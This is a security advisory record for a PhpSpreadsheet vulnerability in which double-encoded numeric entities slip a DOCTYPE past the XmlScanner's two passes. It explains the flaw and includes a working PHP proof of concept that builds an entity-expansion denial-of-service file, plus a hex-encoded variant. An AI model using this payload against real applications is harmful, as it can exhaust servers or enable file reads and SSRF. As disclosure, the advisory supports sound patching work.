{"id":"CVE-2026-108357","aliases":["GHSA-rxj4-h86g-25gc"],"title":"PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service","summary":"PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service","severity":"high","cvss":8.8,"cwe":["CWE-611","CWE-776"],"vendor":"phpoffice","product":"phpoffice/phpspreadsheet","ecosystem":"composer","affected":["phpoffice/phpspreadsheet >= 4.0.0, <= 5.9.0","phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.7"],"patched":["phpoffice/phpspreadsheet 5.10.0","phpoffice/phpspreadsheet 3.10.8"],"published":"2026-10-27","updated":"2026-10-27","sourceUpdated":"2026-10-27T15:38:25Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-rxj4-h86g-25gc","references":[{"url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108357"},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781"},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"},{"url":"https://github.com/advisories/GHSA-rxj4-h86g-25gc"}],"tags":["ghsa","composer","cve.org"],"epss":0.00357,"epssPercentile":0.29316,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N","ssvc":{"exploitation":"none","automatable":"yes","technicalImpact":"partial","timestamp":"2026-10-23T17:32:57.479788Z"},"cvssSource":"cna","ingestedAt":"2026-10-22T22:00:50.356Z","slug":"CVE-2026-108357","body":"## Overview\n\n### Summary\nThe SpreadsheetML XML reader (`Reader\\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `<` character as `&#38;#60;`, the first scan decodes `&#38;` to `&` (forming `&#60;`), and the second scan decodes `&#60;` to `<` (forming `<!DOCTYPE`). Neither scan's pattern check detects the `<!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP < 8.0 or when `LIBXML_NOENT` is used.\n\n### Details\n\nThe vulnerability involves an interaction between three code locations:\n\n**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback:\n\n```php\npublic function scan($xml): string\n{\n    $pattern = '/\\0*<\\0*!\\0*D\\0*O\\0*...\\0*/';\n\n    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)\n        throw new Exception('Detected use of ENTITY...');\n    }\n    $xml = $this->toUtf8($xml);\n    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)\n        throw new Exception('Detected use of ENTITY...');\n    }\n    if ($this->callback !== null) {\n        $xml = call_user_func($this->callback, $xml); // DECODE (after checks!)\n    }\n    return $xml;  // <!DOCTYPE now present, never checked\n}\n```\n\n**2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result:\n\n```php\n$data = file_get_contents($filename);\n$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan\n// ...\n$this->fileContents = $data; // stores partially-decoded content\n```\n\n**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content:\n\n```php\n$data = $this->fileContents; // already partially decoded\n$xml = simplexml_load_string(\n    $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding\n);\n```\n\nThe double-scan decode chain:\n\n```\nRaw file:       &#38;#60;!DOCTYPE\n                         |\n1st scan():     pattern check → no match (no \"<\" character)\n                callback → html_entity_decode(&#38;) = &\n                         |\nStored:         &#60;!DOCTYPE\n                         |\n2nd scan():     pattern check → no match (no \"<\" character)\n                callback → html_entity_decode(&#60;) = <\n                         |\nParser sees:    <!DOCTYPE ← never detected by either scan\n```\n\nThe `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`&amp; &lt; &gt; &quot; &apos;`) via Unicode placeholders, but numeric entities (`&#38; &#60; &#x26; &#x3C;`) are not protected and are decoded by `html_entity_decode()`.\n\n### PoC\n\nSave the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\n// Double-encoded: &#38;#60; survives two scan() passes\n// 1st scan callback: &#38; → & (forms &#60;)\n// 2nd scan callback: &#60; → < (forms <!DOCTYPE)\n$entity_value = str_repeat('A', 100000);\n$refs = str_repeat('&big;', 200);\n\n$xml = '<?xml version=\"1.0\"?>' . \"\\n\"\n    . '<?mso-application progid=\"Excel.Sheet\"?>' . \"\\n\"\n    . '&#38;#60;!DOCTYPE Workbook [' . \"\\n\"\n    . '  &#38;#60;!ENTITY big \"' . $entity_value . '\">' . \"\\n\"\n    . ']>' . \"\\n\"\n    . '<Workbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"' . \"\\n\"\n    . '  xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\">' . \"\\n\"\n    . '  <Worksheet ss:Name=\"Sheet1\">' . \"\\n\"\n    . '    <Table><Row><Cell><Data ss:Type=\"String\">' . $refs . '</Data></Cell></Row></Table>' . \"\\n\"\n    . '  </Worksheet>' . \"\\n\"\n    . '</Workbook>';\n\nfile_put_contents('poc.xml', $xml);\necho \"File size: \" . filesize('poc.xml') . \" bytes\\n\";\n\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xml();\necho \"canRead: \" . ($reader->canRead('poc.xml') ? 'true' : 'false') . \"\\n\";\n$spreadsheet = $reader->load('poc.xml');\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) > 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_toctou.php`\n\n**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).\n\n**Hex variant:** Replace `&#38;#60;` with `&#38;#x3C;` — both are decoded by `html_entity_decode()`.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded SpreadsheetML XML files (recognized by the `<?mso-application progid=\"Excel.Sheet\"?>` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.\n\n## Affected packages\n\n- `phpoffice/phpspreadsheet >= 4.0.0, <= 5.9.0`\n- `phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.7`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `phpoffice/phpspreadsheet 5.10.0`\n- `phpoffice/phpspreadsheet 3.10.8`","depth":"twilight","depthScore":48,"depthScoreParts":{"impact":48.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}